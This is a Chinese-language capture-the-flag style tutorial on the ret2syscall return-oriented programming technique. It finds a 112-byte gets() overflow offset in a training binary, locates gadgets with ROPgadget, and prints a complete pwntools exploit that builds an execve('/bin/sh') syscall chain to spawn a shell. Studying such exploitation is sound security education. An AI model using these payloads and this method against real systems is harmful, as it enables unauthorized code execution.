本文视频:
如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514
基础知识:
我们在前面讲的ret2text,ret2shellcode,今天来讲下ret2syscall,也就是调用系统函数来获取shell.
这里在讲两个概念:第一:ROP(Return-oriented programming),是一种基于代码复用技术的新型***,***者供已有的库或可执行文件中提取指令片段、构建恶意代码。
第二:Gadgets是指在程序中的指令片段,有时我们为了达到我们执行命令的目的,需要多个Gadget来完成我们的功能。Gadget最后一般都有ret,因为要讲程序控制权(ip)给下一个Gadget。
第一步:分析程序获取溢出偏移量
我们先将程序拖到IDA中去分析(要注意32的程序就要用32位的IDA去分析,64的程序就要用64位的IDA去分析,如果不这么做F5看C的伪代码时看不了。)
第八行里又一个gets函数是有溢出漏洞的,这个问题我们在ret2shellcode里已经讲过了。此时我们要使用gdb里的pattern offset来获取溢出偏移量,这次我们换种方法获取。使用gdb打开ret2syscall。
在gets函数位置打断点:b gets 然后输入r开始调试
在输入finish(结束当前函数调用,返回上层函数)
输入几个字母,这里我输入的是margin,然后回车
此时我们发现ebp的地址是0xffffd618 , esp的值是0xffffd5ac,要覆盖的ebp需要esp - ebp=0x6c位,在加上4位的ebp为112,所以我们要覆盖到返回值,执行我们的命令。
第二步:获取shell
我们知道溢出偏移量了,现在我们想执行命令,例如execve("/bin/sh",null,null)。此时要设计到Linux在调用系统函数时的用法。
系统函数调用的指令是int 0x80,这是固定指令,他有四个参数:
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
如果你学过任意一门编程语言,可以理解为int 0x80(eax,ebx,ecx,edx)。可能会有这样的疑问:为什么是eax,ebx,ecx,edx要设置为这些值,答案是系统在运行的时候就是固定的要读这四个寄存器,如果不这么写,就不会调用到execve函数。
接下来我们就要一点点的去拼凑这些内容,我们没法直接在栈里写指令,只能够利用程序中自带的指令去拼凑。
首先我们将eax设置为0xb,我们是没法直接往栈里写mov eax,0xb的,那么还有另一种方式是pop eax,但是要保证栈顶必须是0xb。
然后设置ebx,ecx,edx,同样是这样的道理,所以我们可以想象栈中的数据是:
pop eax;ret
0xb
pop ebx;pop ecx;pop edx;ret
"/bin/sh"的地址
0
0
int 0x80的地址
这样我们就可以保值eax,ebx,ecx,edx的值了。
所以接下来我们要在程序中找一下有没有pop eax;和pop ebx;pop ecx;pop edx;的指令。
需要用到一个工具:ROPgadget
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"
--only是指只有pop和ret指令
我们使用0x080bb196,符合我们的预期。
接下来找类似pop ebx;pop ecx;pop edx;的指令
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
恰好也有我们所需要的,只不过顺序和我们的不同,在组织payload时候需要调换下顺序。
我们在找一下字符串“/bin/sh”的地址
ROPgadget --binary ./ret2syscall --string "/bin/sh"
地址为0x080be408
我们在查找下“int 0x80”的地址
ROPgadget --binary ./ret2syscall --only "int"
地址为0x08049421
所以我们现在有了所有我们需要的内容了,接下来写payload。
payload = 'a' * offset + pop_eax_ret_addr + 0xb + pop_edx_ecx_ebx_ret_addr + 0 + 0 + bin_sh_addr + 80_addr
得到exp
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = 'A' * 112 + p32(pop_eax_ret) +p32(0xb)+p32(pop_edx_ecx_ebx_ret)+ p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
sh.sendline(payload)
sh.interactive()
最后,我们动态调试下这个程序,看我们把payload发送到程序中后,程序是如何执行的。
我们在python代码中的sh.sendline(payload)前面加pause(),这样我们可以使程序中断,然后用gdb attach pid进行调试
第一步:python代码中加入sh.sendline(payload),然后执行:python exp.py
我们的到这个进程的pid为4679,此时我们使用命令:gdb attach 4679进行调试
在gdb命令行输入finish(结束当前函数,返回父级函数),这时候程序会等待我们输入内容,我们在运行python的页面里回车,这时exp.py的payload就会被输入到4679的进程里。
此时我们发现exp.py里的内容已经放入栈中,然后我们输入4次finish后代码运行到Main函数中
上图标红的内容就是我们payload里的内容。